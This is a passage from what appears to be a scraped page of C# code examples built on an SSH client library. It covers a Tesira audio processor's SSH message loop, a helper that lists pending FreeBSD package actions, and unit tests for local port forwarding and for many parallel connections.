                                _sendQueue.Enqueue("SESSION set verbose true");
                                ConnectionStatus = ClientStatus.Connected;
                                _keepAliveTimer  = new CTimer(specific =>
                                {
#if DEBUG
                                    Debug.WriteInfo(GetType().Name + " Sending KeepAlive");
#endif
                                    _client.SendKeepAlive();
                                }, null, KeepAliveTime, KeepAliveTime);
                            }
                            else if (Connected)
                            {
                                for (var i = 0; i < incomingDataCount; i++)
                                {
                                    buffer[dataCount] = incomingData[i];

                                    if (buffer[dataCount] == 10)
                                    {
                                        //skip
                                    }
                                    else if (buffer[dataCount] != 13)
                                    {
                                        dataCount++;
                                    }
                                    else
                                    {
                                        if (dataCount == 0)
                                        {
                                            continue;
                                        }

                                        var line = Encoding.UTF8.GetString(buffer, 0, dataCount);
                                        dataCount = 0;
#if DEBUG
                                        Debug.WriteSuccess("Tesira Rx Line", Debug.AnsiPurple + line + Debug.AnsiReset);
#endif
                                        TesiraMessage message = null;

                                        if (line == "+OK")
                                        {
                                            var request = _requestsAwaiting.TryToDequeue();
                                            if (request != null)
                                            {
#if DEBUG
                                                Debug.WriteInfo("Request Response Received", request);
                                                Debug.WriteSuccess(line);
#endif
                                                message = new TesiraResponse(request, null);
                                            }
                                        }
                                        else if (line.StartsWith("+OK "))
                                        {
                                            var request = _requestsAwaiting.TryToDequeue();
                                            if (request != null)
                                            {
#if DEBUG
                                                Debug.WriteInfo("Request Response Received", request);
                                                Debug.WriteSuccess(line);
#endif
                                                message = new TesiraResponse(request, line.Substring(4));
                                            }
                                        }
                                        else if (line.StartsWith("-ERR "))
                                        {
                                            var request = _requestsAwaiting.TryToDequeue();
                                            if (request != null)
                                            {
#if DEBUG
                                                Debug.WriteInfo("Request Response Received", request);
                                                Debug.WriteError(line);
#endif
                                                message = new TesiraErrorResponse(request, line.Substring(5));
                                            }
                                            else
                                            {
                                                Debug.WriteError("Error received and request queue returned null!");
                                                Debug.WriteError(line);
                                                Debug.WriteError("Clearing all queues!");
                                                _requestsSent.Clear();
                                                _requestsAwaiting.Clear();
                                            }
                                        }
                                        else if (line.StartsWith("! "))
                                        {
#if DEBUG
                                            Debug.WriteWarn("Notification Received");
                                            Debug.WriteWarn(line);
#endif
                                            message = new TesiraNotification(line.Substring(2));
                                        }
                                        else if (!_requestsSent.IsEmpty)
                                        {
                                            Debug.WriteWarn("Last sent request", _requestsSent.Peek());

                                            if (_requestsSent.Peek() == line)
                                            {
                                                _requestsAwaiting.Enqueue(_requestsSent.Dequeue());
#if DEBUG
                                                Debug.WriteNormal("Now awaiting for response for command", line);
#endif
                                            }
                                        }

                                        if (message != null && ReceivedData != null && message.Type != TesiraMessageType.ErrorResponse)
                                        {
                                            if (ReceivedData == null)
                                            {
                                                continue;
                                            }
                                            try
                                            {
                                                _timeOutCount = 0;

                                                ReceivedData(this, message);
                                            }
                                            catch (Exception e)
                                            {
                                                CloudLog.Exception(e, "Error calling event handler");
                                            }
                                        }
                                        else if (message != null && message.Type == TesiraMessageType.ErrorResponse)
                                        {
                                            _timeOutCount = 0;

                                            CloudLog.Error("Error message from Tesira: \"{0}\"", message.Message);
                                        }
                                    }
                                }
                            }
#if DEBUG
                            _stopWatch.Stop();
                            Debug.WriteNormal("Time to process: {0} ms", _stopWatch.ElapsedMilliseconds);
                            _stopWatch.Reset();
#endif
                            CrestronEnvironment.AllowOtherAppsToRun();
                        }

                        if (!_programRunning || !_client.IsConnected)
                        {
                            break;
                        }
#if DEBUG
                        //Debug.WriteNormal(Debug.AnsiBlue +
                        //                  string.Format(
                        //                      "Shell Can Write = {0}, _sendQueue = {1}, _requestsSent = {2}, _requestsAwaiting = {3}",
                        //                      _shell.CanWrite, _sendQueue.Count, _requestsSent.Count,
                        //                      _requestsAwaiting.Count) + Debug.AnsiReset);
#endif
                        if (_shell.CanWrite && !_sendQueue.IsEmpty && _requestsSent.IsEmpty && _requestsAwaiting.IsEmpty)
                        {
                            var s = _sendQueue.Dequeue();

                            if (_keepAliveTimer != null && !_keepAliveTimer.Disposed)
                            {
                                _keepAliveTimer.Reset(KeepAliveTime, KeepAliveTime);
                            }
#if DEBUG
                            Debug.WriteWarn("Tesira Tx", s);
#endif
                            _timeOutCount = 0;
                            _shell.WriteLine(s);
                            _requestsSent.Enqueue(s);
                            Thread.Sleep(20);
                        }
                        else if (!_requestsSent.IsEmpty || !_requestsAwaiting.IsEmpty)
                        {
                            _timeOutCount++;

                            if (_timeOutCount > 100)
                            {
                                CloudLog.Warn(
                                    "Error waiting to send requests in {0}, _requestsAwaiting.Count = {1}" +
                                    "and _requestsSent.Count = {2}. Clearing queues!",
                                    GetType().Name, _requestsAwaiting.Count, _requestsSent.Count);
                                _requestsAwaiting.Clear();
                                _requestsSent.Clear();
                                _timeOutCount = 0;
                            }

                            Thread.Sleep(20);
                        }
                    }
                }
                catch (Exception e)
                {
                    CloudLog.Exception(e);
                }

                _loggedIn = false;

                if (_keepAliveTimer != null && !_keepAliveTimer.Disposed)
                {
                    _keepAliveTimer.Stop();
                    _keepAliveTimer.Dispose();
                    _keepAliveTimer = null;
                }

                if (_client != null && _client.IsConnected)
                {
                    _client.Dispose();
                    _client = null;
                }

                CloudLog.Notice("{0} Disconnected from {1}", GetType().Name, _address);
            }
            catch (Exception e)
            {
                CloudLog.Exception(e, "Error in {0}.SshCommsProcess()", GetType().Name);
            }

            ConnectionStatus = ClientStatus.Disconnected;

            if (!_reconnect || !_programRunning)
            {
                return(null);
            }

            Thread.Sleep(1000);

            CloudLog.Notice("Attempting reconnect to Tesira at {0}", _address);
            ConnectionStatus = ClientStatus.AttemptingConnection;

            Connect();

            return(null);
        }
Ejemplo n.º 58
0
        public static KeyValuePair <bool, string> PackagesActionsNeedsInteraction(SshClient sshClient)
        {
            var result = "sudo portmaster -L".ExecuteCommand(sshClient);

            return(new KeyValuePair <bool, string>(!result.Success, result.Response));
        }
Ejemplo n.º 59
-1
        public void Test_PortForwarding_Local()
        {
            using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
            {
                client.Connect();
                var port1 = new ForwardedPortLocal("localhost", 8084, "www.renci.org", 80);
                client.AddForwardedPort(port1);
                port1.Exception += delegate(object sender, ExceptionEventArgs e)
                {
                    Assert.Fail(e.Exception.ToString());
                };
                port1.Start();

                System.Threading.Tasks.Parallel.For(0, 100,

                    //new ParallelOptions
                    //{
                    //    MaxDegreeOfParallelism = 20,
                    //},
                    (counter) =>
                    {
                        var start = DateTime.Now;
                        var req = HttpWebRequest.Create("http://localhost:8084");
                        using (var response = req.GetResponse())
                        {
                            var data = ReadStream(response.GetResponseStream());
                            var end = DateTime.Now;

                            Debug.WriteLine(string.Format("Request# {2}: Length: {0} Time: {1}", data.Length, (end - start), counter));
                        }
                    }
                );
            }
        }
Ejemplo n.º 60
-1
 //[TestMethod]
 public void Test_MultipleThread_10000_MultipleConnections()
 {
     try
     {
         System.Threading.Tasks.Parallel.For(0, 10000,
             () =>
             {
                 var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD);
                 client.Connect();
                 return client;
             },
             (int counter, ParallelLoopState pls, SshClient client) =>
             {
                 var result = ExecuteTestCommand(client);
                 Debug.WriteLine(string.Format("TestMultipleThreadMultipleConnections #{0}", counter));
                 Assert.IsTrue(result);
                 return client;
             },
             (SshClient client) =>
             {
                 client.Disconnect();
                 client.Dispose();
             }
         );
     }
     catch (Exception exp)
     {
         Assert.Fail(exp.ToString());
     }
 }